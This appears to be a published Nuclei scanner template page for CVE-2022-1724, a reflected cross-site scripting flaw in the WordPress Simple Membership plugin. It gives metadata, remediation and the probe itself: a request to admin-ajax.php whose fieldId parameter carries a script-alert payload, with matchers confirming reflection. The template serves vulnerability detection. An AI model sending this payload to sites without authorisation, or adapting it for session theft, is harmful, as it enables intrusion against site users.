WordPress Simple Membership <4.1.1 - Cross-Site Scripting

ID: CVE-2022-1724

Severity: medium

Author: Akincibor

Tags: cve,cve2022,xss,wp,wordpress,wpscan,wp-plugin,simple-membership-plugin

Description

WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions.

YAML Source

id: CVE-2022-1724

info:
  name: WordPress Simple Membership <4.1.1 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of WordPress Simple Membership plugin (4.1.1 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/96a0a667-9c4b-4ea6-b78a-0681e9a9bbae
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1724
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1724
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.42122
    cpe: cpe:2.3:a:simple-membership-plugin:simple_membership:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: "simple-membership-plugin"
    product: "simple_membership"
    framework: wordpress
  tags: cve,cve2022,xss,wp,wordpress,wpscan,wp-plugin,simple-membership-plugin
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/simple-membership/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Simple Membership'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"<script>alert(document.domain)</script>",'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fa4353c693ab59f6a231010e465713203888193a964f626af5d376349ca622ef022100aa2e0899b6c5a8bbb5a9208c05070dd200908e959676c34543f5f70c3752e815:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1724.yaml"

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